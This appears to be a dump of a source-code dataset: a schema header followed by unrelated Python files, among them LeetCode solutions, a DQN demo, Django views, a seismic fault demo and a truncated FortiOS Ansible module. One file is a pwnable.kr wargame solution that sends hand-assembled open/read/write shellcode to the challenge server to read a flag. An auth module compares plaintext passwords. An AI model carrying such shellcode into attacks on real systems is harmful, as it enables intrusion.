blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
โŒ€
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
โŒ€
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
โŒ€
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
df5d0f9cd9fbd10df401ae6829425f78b699d912
e8c303ca35a1f6b231193518fa5924d9a4cff0f0
/frog-orchestrator/orchestrator_core/userAuthentication.py
aa0f5c430bbcb63000093d1e9dc37992329fae84
[]
no_license
netgroup-polito/frog3
69187fa716fe4f93e0abea2e0df09f0dca2a721b
3ad63ac25dddd8ba4bd9ab958f3c418e513b4ac9
refs/heads/master
2021-01-10T07:06:07.598744
2016-04-12T16:28:40
2016-04-12T16:28:40
36,660,818
9
3
null
null
null
null
UTF-8
Python
false
false
1,558
py
''' Created on 18 set 2015 @author: Andrea ''' from sql.user import User from orchestrator_core.exception import unauthorizedRequest class UserData(object): def __init__(self, usr=None, pwd=None, tnt=None): self.username = usr self.password = pwd self.tenant = tnt def getUserID(self): return User().getUser(self.username).id def getUserData(self, user_id): user = User().getUserFromID(user_id) self.username = user.name self.password =user.password tenant = User().getTenantName(user.tenant_id) self.tenant = tenant class UserAuthentication(object): def authenticateUserFromRESTRequest(self, request): username = request.get_header("X-Auth-User") password = request.get_header("X-Auth-Pass") tenant = request.get_header("X-Auth-Tenant") return self.authenticateUserFromCredentials(username, password, tenant) def authenticateUserFromCredentials(self, username, password, tenant): if username is None or password is None or tenant is None: raise unauthorizedRequest('Authentication credentials required') user = User().getUser(username) if user.password == password: tenantName = User().getTenantName(user.tenant_id) if tenantName == tenant: userobj = UserData(username, password, tenant) return userobj raise unauthorizedRequest('Invalid authentication credentials')
dab19d4e555500f277957d95c0d1e3041bcaad0e
3b21cbe5320137a3d8f7da40558294081211f63f
/Chapter12/FrozenDeepQLearning.py
4910dba92203d7d02671ade946a3825a0a32ecd4
[ "MIT" ]
permissive
Evelynatrocks/Python-Machine-Learning-Cookbook-Second-Edition
d06812bba0a32a9bd6e5e8d788769a07d28084cd
99d8b799dbfe1d9a82f0bcc3648aaeb147b7298f
refs/heads/master
2023-04-06T20:23:05.384943
2021-01-18T12:06:36
2021-01-18T12:06:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,065
py
import gym import numpy as np from keras.models import Sequential from keras.layers.core import Dense, Reshape from keras.layers.embeddings import Embedding from keras.optimizers import Adam from rl.agents.dqn import DQNAgent from rl.policy import BoltzmannQPolicy from rl.memory import SequentialMemory ENV_NAME = 'FrozenLake-v0' env = gym.make(ENV_NAME) np.random.seed(1) env.seed(1) Actions = env.action_space.n model = Sequential() model.add(Embedding(16, 4, input_length=1)) model.add(Reshape((4,))) print(model.summary()) memory = SequentialMemory(limit=10000, window_length=1) policy = BoltzmannQPolicy() Dqn = DQNAgent(model=model, nb_actions=Actions, memory=memory, nb_steps_warmup=500, target_model_update=1e-2, policy=policy, enable_double_dqn=False, batch_size=512 ) Dqn.compile(Adam()) Dqn.fit(env, nb_steps=1e5, visualize=False, verbose=1, log_interval=10000) Dqn.save_weights('dqn_{}_weights.h5f'.format(ENV_NAME), overwrite=True) Dqn.test(env, nb_episodes=20, visualize=False)
04b413200d5c5c14c693f31cdea71096cfa5b87c
8dde6f201657946ad0cfeacab41831f681e6bc6f
/617_merger_two_binary_tree.py
29f9c56efed4c228638367c559ef7b02757f5f57
[]
no_license
peraktong/LEETCODE_Jason
c5d4a524ba69b1b089f18ce4a53dc8f50ccbb88c
06961cc468211b9692cd7a889ee38d1cd4e1d11e
refs/heads/master
2022-04-12T11:34:38.738731
2020-04-07T21:17:04
2020-04-07T21:17:04
219,398,022
0
0
null
null
null
null
UTF-8
Python
false
false
1,511
py
#Definition for a binary tree node. class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution(): def mergeTrees(self, t1, t2): """ :type t1: TreeNode :type t2: TreeNode :rtype: TreeNode """ # 100 pass -95% runtime and 100% space # Recursive function to traverse the trees def traverse(node1, node2): # When both the nodes are present, change value to their sum if node1 and node2: node1.val = node1.val + node2.val # If both left are present recurse, else if node2 only present then replace node1 as node2 if node1.left and node2.left: traverse(node1.left, node2.left) elif node2.left: node1.left = node2.left # If both right are present recurse, else if node2 only present then replace node1 as node2 if node1.right and node2.right: traverse(node1.right, node2.right) elif node2.right: node1.right = node2.right # Null check for root node of both tree if not t1: return t2 if not t2: return t1 # Recursive call traverse(t1, t2) # Return the root of the first tree return t1 t1 = TreeNode(x=[1,3,2,5]) t2 = TreeNode(x=[2,1,3,None,4,None,7]) model = Solution() final = model.mergeTrees(t1=t1,t2=t2)
60e4c38da404de4ba7dd46169d7c52c288298335
ff55497043e91b5168b54369f3fd3f400dc9cf22
/project/osmosis/event/api/views.py
14fc471a28bddb1ce37cad0dcec068af4eba4872
[]
no_license
kirami/Appevate
c890329928e2a9f91ded1cde29477c86b58e35ca
ee62eacd66606f3baf308718e5dbc6b7e55ba43b
refs/heads/master
2022-12-02T00:07:59.448070
2020-07-22T01:23:27
2020-07-22T01:23:27
211,752,576
0
0
null
2022-11-22T05:52:38
2019-09-30T01:36:35
HTML
UTF-8
Python
false
false
2,609
py
from rest_framework import viewsets, permissions from django.http import Http404 from rest_framework.views import APIView from rest_framework.response import Response from rest_framework import status from rest_framework import generics from ..models import Event from .serializers import EventSerializer from rest_framework.permissions import IsAuthenticated import logging logger = logging.getLogger(__name__) class EventViewSet(viewsets.ModelViewSet): model = Event serializer_class = EventSerializer queryset = Event.objects.all() ''' def get_permissions(self): """ Permissions for the ``User`` endpoints. - Allow create if the user is not authenticated. - Allow all if the user is staff. - Allow all if the user who is making the request is the same as the object in question. """ return (permissions.AllowAny() if self.request.method == 'POST' else IsStaffOrTargetUser()), ''' class EventList(generics.ListCreateAPIView): """ get: Return a list of existing Events, filtered by any paramater sent.<br> Possible Parameters - <br> &nbsp &nbspid - Id of the Event you'd like to view<br> &nbsp &nbsphost - Id of the User who is hosting an Event<br> &nbsp &nbspprogram - Program under which the Event is listed.<br> &nbsp &nbspname - Name of the Event you'd like to search for<br> post: Create a new Event instance. """ serializer_class = EventSerializer permission_classes = (IsAuthenticated,) def get_queryset(self): queryset = Event.objects.all() host = self.request.query_params.get('host', None) name = self.request.query_params.get('name', None) program = self.request.query_params.get('program', None) item_id = self.request.query_params.get('id', None) if item_id is not None: queryset = queryset.filter(id=item_id) if name is not None: queryset = queryset.filter(name=name) if host is not None: queryset = queryset.filter(host=host) if program is not None: queryset = queryset.filter(program=program) return queryset class EventDetail(generics.RetrieveUpdateDestroyAPIView): """ Get Detail of single Event put: Replacing entire Event instance. patch: Update an Event instance delete: Delete an Event instance """ queryset = Event.objects.all() serializer_class = EventSerializer permission_classes = (IsAuthenticated,)
[ "=" ]
=
9b05835b3205d9de4fd50aa8af20d2fbceef046d
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/verbs/_struggled.py
e5baa8e75aa991db85ea0ac09e2bb191bec47c29
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
252
py
from xai.brain.wordbase.verbs._struggle import _STRUGGLE #calss header class _STRUGGLED(_STRUGGLE, ): def __init__(self,): _STRUGGLE.__init__(self) self.name = "STRUGGLED" self.specie = 'verbs' self.basic = "struggle" self.jsondata = {}
bf4267262480d8f9e04bb70a25dc61e4d56cdfe1
c36d9d70cbb257b2ce9a214bcf38f8091e8fe9b7
/977_squares_of_a_sorted_array.py
b06d138fadd0a72054f3ac664f5b51dc8b9a84ce
[]
no_license
zdadadaz/coding_practice
3452e4fc8f4a79cb98d0d4ea06ce0bcae85f96a0
5ed070f22f4bc29777ee5cbb01bb9583726d8799
refs/heads/master
2021-06-23T17:52:40.149982
2021-05-03T22:31:23
2021-05-03T22:31:23
226,006,763
0
0
null
null
null
null
UTF-8
Python
false
false
463
py
class Solution: def sortedSquares(self, nums: List[int]) -> List[int]: l = 0 r = len(nums)-1 res = [] while l <= r: if l == r: res.append(nums[r]*nums[r]) break if nums[l]*nums[l] < nums[r]*nums[r]: res.append(nums[r]*nums[r]) r-=1 else: res.append(nums[l]*nums[l]) l+=1 return res[::-1]
fed1b0600df776f414b4d2a66a68c13f4e7e15c1
8dbf11fe48645d79da06e0c6e9d6a5cc5e3116d5
/pwnable_kr/asm/myShellcode.py
adddf23bdafcaa8b8825def5d8aa9549a4c91028
[]
no_license
itaysnir/Learning
e1efb6ab230b3c368214a5867ef03670571df4b7
a81c351df56699cc3f25618c81f8e04259596fd3
refs/heads/master
2021-05-23T09:33:58.382930
2021-02-17T19:36:46
2021-02-17T19:36:46
253,222,982
0
2
null
null
null
null
UTF-8
Python
false
false
1,868
py
import pwnlib import socket FLAG_NAME = ".////this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong" IP = "pwnable.kr" PORT = 9026 CHUNK = 4096 def main(): s = socket.socket() s.connect ((IP,PORT)) data = s.recv (CHUNK) print (data) data = s.recv (CHUNK) print (data) reverse_flag_name_chunks = list(map(''.join, zip(*[iter(FLAG_NAME)]*4)))[::-1] # open syscall shellcode = '' shellcode += pwnlib.asm.asm ("xor eax, eax") shellcode += pwnlib.asm.asm ("push eax") # needed for the string null byte shellcode += pwnlib.asm.asm ("add eax, 5") for chunk in reverse_flag_name_chunks: num = "0x" + ''.join(x.encode('hex') for x in chunk[::-1]) shellcode += pwnlib.asm.asm ("push {}".format(num)) shellcode += pwnlib.asm.asm ("mov ebp, esp") # shellcode += pwnlib.asm.asm ("xor ecx, ecx") shellcode += pwnlib.asm.asm ("xor edx, edx") shellcode += pwnlib.asm.asm ("int 0x80") # read syscall shellcode += pwnlib.asm.asm ("xor eax, eax") shellcode += pwnlib.asm.asm ("add eax, 3") shellcode += pwnlib.asm.asm ("mov ecx, ebx") shellcode += pwnlib.asm.asm ("xor ebx, ebx") shellcode += pwnlib.asm.asm ("add ebx, 3") shellcode += pwnlib.asm.asm ("xor edx, edx") shellcode += pwnlib.asm.asm ("mov dl, 0x60") shellcode += pwnlib.asm.asm ("int 0x80") # write syscall shellcode += pwnlib.asm.asm ("xor eax, eax") shellcode += pwnlib.asm.asm ("add eax, 4") shellcode += pwnlib.asm.asm ("xor ebx, ebx") shellcode += pwnlib.asm.asm ("add ebx, 1") shellcode += pwnlib.asm.asm ("int 0x80") shellcode += '\n' print (shellcode) s.send (shellcode) data = s.recv (CHUNK) print (data) data = s.recv (CHUNK) print (data) if __name__ == '__main__': main()
640729d778883cd226020e47fea25bef8b99c520
5730110af5e4f0abe538ed7825ddd62c79bc3704
/pacu/pacu/api/__init__.py
5175c837b94da18470240e65eb75f00c9ed2e717
[]
no_license
jzeitoun/pacu-v2
bdbb81def96a2d87171ca20b89c878b2f66975e7
0ccb254a658263b4fe8c80ea623f860cb7dc1428
refs/heads/master
2021-06-03T18:50:50.890399
2020-04-27T16:31:59
2020-04-27T16:31:59
110,889,657
0
0
null
null
null
null
UTF-8
Python
false
false
1,680
py
import sys from argparse import ArgumentParser, Action if sys.argv[0] in ['-c', '-m']: sys.argv[0] = 'python -m %s' % __package__ parser = ArgumentParser( description = 'PACU v0.0.1', epilog = "Contact to: Hyungtae Kim <[email protected]>", ) group = parser.add_argument_group( title='profiles', description=''' You can provide a specific set of profiles for essential configurations. It is strongly recommended to go through the profile section of the documentation before you use it in production. Profiles should be passed in prior to specific API. ''') group.add_argument('--web', metavar='PROFILE', help='which profile to use for web') group.add_argument('--db', metavar='PROFILE', help='which profile to use for db') group.add_argument('--log', metavar='PROFILE', help='which profile to use for log') group.add_argument('--opt', metavar='PROFILE', help='which profile to use for opt') subparsers = parser.add_subparsers( title = 'Available APIs', dest = 'api', metavar = 'API', help = 'Description', description = ''' You can get additional help by typing one of below commands. Also, it is possible to override current profile by passing arguments like `--web.port=12345 --db.echo=false`. Make sure these extra arguments should come after specific API. ''', ) def metavars(var, args): return { action.dest: getattr(args, action.dest) for action in parser._actions if action.metavar==var} # API registration # from . import ping from . import prof from . import serve from . import shell # from . import query # from . import vstim
89d41180976614c3296c1f1ce9742f81d479d5cd
acdc8a6dcf131592ef7edb6452ee9da656d47d18
/src/spv/demoFault2dCrf.py
68062296649c2e88d4739e0da4f68460c439a60d
[]
no_license
xuewengeophysics/xmw
c359ed745c573507d1923375d806e6e87e3982a2
5f36d5f140dcfc0b7da29084c09d46ab96897f3c
refs/heads/master
2021-01-01T19:44:07.737113
2017-07-27T17:56:21
2017-07-27T17:56:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,065
py
############################################################################# """ Demo of dynamic warping for automatic picking Author: Xinming Wu, University of Texas at Austin Version: 2016.06.01 """ from utils import * setupForSubset("crf2d") s1,s2,s3 = getSamplings() n1,n2,n3 = s1.count,s2.count,s3.count f1,f2,f3 = s1.getFirst(),s2.getFirst(),s3.getFirst() d1,d2,d3 = s1.getDelta(),s2.getDelta(),s3.getDelta() ############################################################################# gxfile = "gx808" gxfile = "gx3366" elfile = "el" fpfile = "fp" fefile = "fe" ftfile = "ft" flfile = "fl" ptfile = "pt" fvfile = "fv" pngDir = getPngDir() pngDir = None plotOnly = False def main(args): #goFaultLikelihood() #goLinearity() #goFaultOrientScan() goPathVoting() def goLinearity(): gx = readImage(gxfile) el = zerofloat(n1,n2) lof = LocalOrientFilter(16,8) est = lof.applyForTensors(gx) dst = DstCoherence(est,30) dst.setEigenvalues(1,0.01) dst.applyForLinear(gx,el) writeImage(elfile,el) el = pow(el,8) plot(gx,sub(1,el),cmin=0.6,cmax=1.0,cmap=jetRamp(1.0),label="Linearity") def goFaultOrientScan(): gx = readImage(gxfile) el = readImage(elfile) fos = FaultOrientScanner2(8) fe,fp = fos.scanDip(65,80,el) ft,pt = fos.thin([fe,fp]) writeImage(ftfile,ft) writeImage(ptfile,pt) def goPathVoting(): gx = readImage(gxfile) if not plotOnly: ft = readImage(ftfile) pt = readImage(ptfile) osv = OptimalPathVoter(20,60) osv.setStrainMax(0.2) osv.setSurfaceSmoothing(2) fv = osv.applyVoting(4,0.7,ft,pt) writeImage(fvfile,fv) else: fv = readImage(fvfile) plot(gx,cmin=-2,cmax=2,label="Amplitude") plot(gx,fv,cmin=0.6,cmax=1.0,cmap=jetRamp(1.0),label="Path voting") def goFaultLikelihood(): print "goFaultLikelihood ..." gx = readImage(gxfile) gx = FaultScanner2.taper(10,0,gx) fs = FaultScanner2(30) sig1,sig2,smooth=16.0,2.0,4.0 fl,ft = fs.scan(65,80,sig1,sig2,smooth,gx) flt,ftt = fs.thin([fl,ft]) print "fl min =",min(fl)," max =",max(fl) print "ft min =",min(ft)," max =",max(ft) plot(gx,flt,cmin=0.6,cmax=1,cmap=jetRamp(1.0),neareast=True, label="Fault Likelihood") ''' plot2(s1,s2,gx,g=abs(ft),cmin=minTheta,cmax=maxTheta,cmap=jetFill(1.0), label="Fault dip (degrees)",png="ft") ''' def gain(x): n2 = len(x) n1 = len(x[0]) g = mul(x,x) ref = RecursiveExponentialFilter(20.0) ref.apply(g,g) y = zerofloat(n1,n2) div(x,sqrt(g),y) return y def smooth(sig,u): v = copy(u) rgf = RecursiveGaussianFilterP(sig) rgf.apply0(u,v) return v def smooth2(sig1,sig2,u): v = copy(u) rgf1 = RecursiveGaussianFilterP(sig1) rgf2 = RecursiveGaussianFilterP(sig2) rgf1.apply0X(u,v) rgf2.applyX0(v,v) return v def normalize(e): emin = min(e) emax = max(e) return mul(sub(e,emin),1.0/(emax-emin)) def etran(e): #return transpose(pow(e,0.25)) return transpose(e) def dtran(d): return transpose(d) def makeSequences(): n = 500 fpeak = 0.125 shift = 2.0/fpeak #w = Warp1Function.constant(shift,n) w = WarpFunction1.sinusoid(shift,n) #f = makeCosine(fpeak,n) f = makeRandomEvents(n,seed=seed); g = w.warp(f) f = addRickerWavelet(fpeak,f) g = addRickerWavelet(fpeak,g) f = addNoise(nrms,fpeak,f,seed=10*seed+1) g = addNoise(nrms,fpeak,g,seed=10*seed+2) s = zerofloat(n) for i in range(n): s[i] = w.ux(i) return f,g,s def makeCosine(freq,n): return cos(mul(2.0*PI*freq,rampfloat(0.0,1.0,n))) def makeRandomEvents(n,seed=0): if seed!=0: r = Random(seed) else: r = Random() return pow(mul(2.0,sub(randfloat(r,n),0.5)),15.0) def addRickerWavelet(fpeak,f): n = len(f) ih = int(3.0/fpeak) nh = 1+2*ih h = zerofloat(nh) for jh in range(nh): h[jh] = ricker(fpeak,jh-ih) g = zerofloat(n) Conv.conv(nh,-ih,h,n,0,f,n,0,g) return g def ricker(fpeak,time): x = PI*fpeak*time return (1.0-2.0*x*x)*exp(-x*x) def addNoise(nrms,fpeak,f,seed=0): n = len(f) if seed!=0: r = Random(seed) else: r = Random() nrms *= max(abs(f)) g = mul(2.0,sub(randfloat(r,n),0.5)) g = addRickerWavelet(fpeak,g) #rgf = RecursiveGaussianFilter(3.0) #rgf.apply1(g,g) frms = sqrt(sum(mul(f,f))/n) grms = sqrt(sum(mul(g,g))/n) g = mul(g,nrms*frms/grms) return add(f,g) ############################################################################# # plotting gray = ColorMap.GRAY jet = ColorMap.JET backgroundColor = Color(0xfd,0xfe,0xff) # easy to make transparent def jetFill(alpha): return ColorMap.setAlpha(ColorMap.JET,alpha) def jetFillExceptMin(alpha): a = fillfloat(alpha,256) a[0] = 0.0 return ColorMap.setAlpha(ColorMap.JET,a) def bwrNotch(alpha): a = zerofloat(256) for i in range(len(a)): if i<128: a[i] = alpha*(128.0-i)/128.0 else: a[i] = alpha*(i-127.0)/128.0 return ColorMap.setAlpha(ColorMap.BLUE_WHITE_RED,a) def bwrFillExceptMin(alpha): a = fillfloat(alpha,256) a[0] = 0.0 return ColorMap.setAlpha(ColorMap.BLUE_WHITE_RED,a) def jetRamp(alpha): return ColorMap.setAlpha(ColorMap.JET,rampfloat(0.0,alpha/256,256)) def bwrRamp(alpha): return ColorMap.setAlpha(ColorMap.BLUE_WHITE_RED,rampfloat(0.0,alpha/256,256)) def grayRamp(alpha): return ColorMap.setAlpha(ColorMap.GRAY,rampfloat(0.0,alpha/256,256)) def plot(f,g=None,ps=None,t=None,cmap=None,cmin=None,cmax=None,cint=None, label=None,neareast=False,png=None): orientation = PlotPanel.Orientation.X1DOWN_X2RIGHT; n1,n2=len(f[0]),len(f) s1,s2=Sampling(n1),Sampling(n2) panel = PlotPanel(1,1,orientation)#,PlotPanel.AxesPlacement.NONE) panel.setVInterval(50) panel.setHInterval(50) panel.setHLabel("Inline (traces)") panel.setVLabel("Depth (samples)") pxv = panel.addPixels(0,0,s1,s2,f); pxv.setColorModel(ColorMap.GRAY) pxv.setInterpolation(PixelsView.Interpolation.LINEAR) if g: pxv.setClips(-2,2) else: if cmin and cmax: pxv.setClips(cmin,cmax) if g: pv = panel.addPixels(s1,s2,g) if neareast: pv.setInterpolation(PixelsView.Interpolation.NEAREST) else: pv.setInterpolation(PixelsView.Interpolation.LINEAR) pv.setColorModel(cmap) if cmin and cmax: pv.setClips(cmin,cmax) if ps: uv = panel.addPoints(0,0,ps[0],ps[1]) uv.setLineColor(Color.YELLOW) uv.setLineWidth(2) if label: panel.addColorBar(label) panel.setColorBarWidthMinimum(55) moc = panel.getMosaic(); frame = PlotFrame(panel); frame.setDefaultCloseOperation(PlotFrame.EXIT_ON_CLOSE); #frame.setTitle("normal vectors") frame.setVisible(True); #frame.setSize(1400,700) frame.setSize(round(n2*1.8),round(n1*2.0)) frame.setFontSize(12) if pngDir and png: frame.paintToPng(720,3.333,pngDir+png+".png") ############################################################################# # Run the function main on the Swing thread import sys class _RunMain(Runnable): def __init__(self,main): self.main = main def run(self): self.main(sys.argv) def run(main): SwingUtilities.invokeLater(_RunMain(main)) run(main)
90632c12ee018323d838f0314ad1509f5b1b1450
ac8ffabf4d7339c5466e53dafc3f7e87697f08eb
/python_solutions/1269.number_of_ways_to_stay_in_the_same_place_after_some_steps.py
726086e2ad3c752a2b74ee77af09767afc7d3401
[]
no_license
h4hany/leetcode
4cbf23ea7c5b5ecfd26aef61bfc109741f881591
9e4f6f1a2830bd9aab1bba374c98f0464825d435
refs/heads/master
2023-01-09T17:39:06.212421
2020-11-12T07:26:39
2020-11-12T07:26:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,581
py
# https://leetcode.com/problems/number-of-ways-to-stay-in-the-same-place-after-some-steps # Hard (Difficulty) # You have a pointer at index 0 in an array of size arrLen. At each step, you can move 1 position to the left, 1 position to the rightย in the array or stay in the same placeย  (The pointer should not be placed outside the array at any time). # Given two integersย steps and arrLen, return the number ofย ways such that your pointer still at index 0 after exactly stepsย steps. # Since the answerย may be too large,ย return it moduloย 10^9 + 7. # ย  # Example 1: # Example 2: # Example 3: # ย  # Constraints: # Input: steps = 3, arrLen = 2 # Output: 4 # Explanation: There are 4 differents ways to stay at index 0 after 3 steps. # Right, Left, Stay # Stay, Right, Left # Right, Stay, Left # Stay, Stay, Stay # # Input: steps = 2, arrLen = 4 # Output: 2 # Explanation: There are 2 differents ways to stay at index 0 after 2 steps # Right, Left # Stay, Stay # # Input: steps = 4, arrLen = 2 # Output: 8 # # xxxxxxxxxx # class Solution { # public: # ย  ย int numWays(int steps, int arrLen) { # ย  ย  ย  ย  # ย  } # }; class Solution: def numWays(self, steps: int, arrLen: int) -> int: sz = min(steps // 2 + 1, arrLen) + 2 pre, cur = [0] * sz, [0] * sz pre[1] = 1 while steps > 0: for i in range(1, sz - 1): cur[i] = (pre[i] + pre[i-1] + pre[i+1]) % 1000000007 pre, cur = cur, pre steps -= 1 return pre[1] print(Solution().numWays(4, 2))
0172e314069385caba90b50675f815799696c742
e6dab5aa1754ff13755a1f74a28a201681ab7e1c
/.parts/lib/python2.7/hotshot/log.py
e86c8b2519f959f123ad6f9f4bab8b88c486dd74
[]
no_license
ronkagan/Euler_1
67679203a9510147320f7c6513eefd391630703e
022633cc298475c4f3fd0c6e2bde4f4728713995
refs/heads/master
2021-01-06T20:45:52.901025
2014-09-06T22:34:16
2014-09-06T22:34:16
23,744,842
0
1
null
null
null
null
UTF-8
Python
false
false
71
py
/home/action/.parts/packages/python2/2.7.6/lib/python2.7/hotshot/log.py
854ca1b46498b6117d9f373caa9b6aa1588e13d0
fa93e53a9eee6cb476b8998d62067fce2fbcea13
/build/pmb2_gazebo/catkin_generated/pkg.installspace.context.pc.py
c75e0ff2d2813071cbaee70567d2107aebd6d308
[]
no_license
oyetripathi/ROS_conclusion_project
2947ee2f575ddf05480dabc69cf8af3c2df53f73
01e71350437d57d8112b6cec298f89fc8291fb5f
refs/heads/master
2023-06-30T00:38:29.711137
2021-08-05T09:17:54
2021-08-05T09:17:54
392,716,311
0
1
null
null
null
null
UTF-8
Python
false
false
384
py
# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else [] PROJECT_CATKIN_DEPENDS = "".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else [] PROJECT_NAME = "pmb2_gazebo" PROJECT_SPACE_DIR = "/home/sandeepan/tiago_public_ws/install" PROJECT_VERSION = "1.0.1"
9a2357b2017589fa88e975403385725ce748aa8e
b103d82e2f99815b684a58cad043c14bbc43c1aa
/exercicios3/ex115.py
16a0f690f2137e5aaa6f2d96caae48e7c3d6fff5
[ "MIT" ]
permissive
LuanGermano/Mundo-3-Curso-em-Video-Python
6e3ffc5d82de55194cf0cfd318f1f37ff7e04f1f
1dffda71ff769e4e901b85e4cca5595a5dbb545c
refs/heads/main
2023-07-09T22:40:13.710547
2021-08-04T05:16:22
2021-08-04T05:16:22
392,557,796
0
0
null
null
null
null
UTF-8
Python
false
false
217
py
# Crie um pequeno sistema modularizado que permita cadastrar pessoas pelo seu nome e idade em um arquivo de texto simples. # O sistema sรณ vai ter 2 opรงรตes, cadastrar uma nova pessoa e listar todas as cadastradas
bb68a5153695e94775883f6c5d021b72de37eba8
a50e906945260351f43d57e014081bcdef5b65a4
/collections/ansible_collections/fortinet/fortios/plugins/modules/fortios_wireless_controller_setting.py
6cc88021aa0784ff5e1a80cf742278917d170ec1
[]
no_license
alhamdubello/evpn-ipsec-dci-ansible
210cb31f4710bb55dc6d2443a590f3eb65545cf5
2dcc7c915167cd3b25ef3651f2119d54a18efdff
refs/heads/main
2023-06-08T10:42:35.939341
2021-06-28T09:52:45
2021-06-28T09:52:45
380,860,067
0
0
null
null
null
null
UTF-8
Python
false
false
23,160
py
#!/usr/bin/python from __future__ import (absolute_import, division, print_function) # Copyright 2019-2020 Fortinet, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. __metaclass__ = type ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'metadata_version': '1.1'} DOCUMENTATION = ''' --- module: fortios_wireless_controller_setting short_description: VDOM wireless controller configuration in Fortinet's FortiOS and FortiGate. description: - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the user to set and modify wireless_controller feature and setting category. Examples include all parameters and values need to be adjusted to datasources before usage. Tested with FOS v6.4.0 version_added: "2.8" author: - Link Zheng (@chillancezen) - Jie Xue (@JieX19) - Hongbin Lu (@fgtdev-hblu) - Frank Shen (@frankshen01) - Miguel Angel Munoz (@mamunozgonzalez) - Nicolas Thomas (@thomnico) notes: - Legacy fortiosapi has been deprecated, httpapi is the preferred way to run playbooks requirements: - ansible>=2.9.0 options: access_token: description: - Token-based authentication. Generated from GUI of Fortigate. type: str required: false vdom: description: - Virtual domain, among those defined previously. A vdom is a virtual instance of the FortiGate that can be configured and used as a different unit. type: str default: root wireless_controller_setting: description: - VDOM wireless controller configuration. default: null type: dict suboptions: account_id: description: - FortiCloud customer account ID. type: str country: description: - Country or region in which the FortiGate is located. The country determines the 802.11 bands and channels that are available. type: str choices: - NA - AL - DZ - AO - AR - AM - AU - AT - AZ - BS - BH - BD - BB - BY - BE - BZ - BO - BA - BR - BN - BG - KH - CF - CL - CN - CO - CR - HR - CY - CZ - DK - DO - EC - EG - SV - EE - FI - FR - GE - DE - GR - GL - GD - GU - GT - HT - HN - HK - HU - IS - IN - ID - IR - IE - IL - IT - JM - JO - KZ - KE - KP - KR - KW - LV - LB - LI - LT - LU - MO - MK - MY - MT - MX - MC - MA - MZ - MM - NP - NL - AN - AW - NZ - NO - OM - PK - PA - PG - PY - PE - PH - PL - PT - PR - QA - RO - RU - RW - SA - RS - ME - SG - SK - SI - ZA - ES - LK - SE - SD - CH - SY - TW - TZ - TH - TT - TN - TR - AE - UA - GB - US - PS - UY - UZ - VE - VN - YE - ZB - ZW - JP - CA darrp_optimize: description: - Time for running Dynamic Automatic Radio Resource Provisioning (DARRP) optimizations (0 - 86400 sec). type: int darrp_optimize_schedules: description: - Firewall schedules for DARRP running time. DARRP will run periodically based on darrp-optimize within the schedules. Separate multiple schedule names with a space. type: list suboptions: name: description: - Schedule name. Source firewall.schedule.group.name firewall.schedule.recurring.name firewall.schedule.onetime.name. required: true type: str duplicate_ssid: description: - Enable/disable allowing Virtual Access Points (VAPs) to use the same SSID name in the same VDOM. type: str choices: - enable - disable fake_ssid_action: description: - Actions taken for detected fake SSID. type: str choices: - log - suppress fapc_compatibility: description: - Enable/disable FAP-C series compatibility. type: str choices: - enable - disable offending_ssid: description: - Configure offending SSID. type: list suboptions: action: description: - Actions taken for detected offending SSID. type: str choices: - log - suppress id: description: - ID. required: true type: int ssid_pattern: description: - 'Define offending SSID pattern (case insensitive), eg: word, word*, *word, wo*rd.' type: str phishing_ssid_detect: description: - Enable/disable phishing SSID detection. type: str choices: - enable - disable wfa_compatibility: description: - Enable/disable WFA compatibility. type: str choices: - enable - disable ''' EXAMPLES = ''' - hosts: fortigates collections: - fortinet.fortios connection: httpapi vars: vdom: "root" ansible_httpapi_use_ssl: yes ansible_httpapi_validate_certs: no ansible_httpapi_port: 443 tasks: - name: VDOM wireless controller configuration. fortios_wireless_controller_setting: vdom: "{{ vdom }}" wireless_controller_setting: account_id: "<your_own_value>" country: "NA" darrp_optimize: "5" darrp_optimize_schedules: - name: "default_name_7 (source firewall.schedule.group.name firewall.schedule.recurring.name 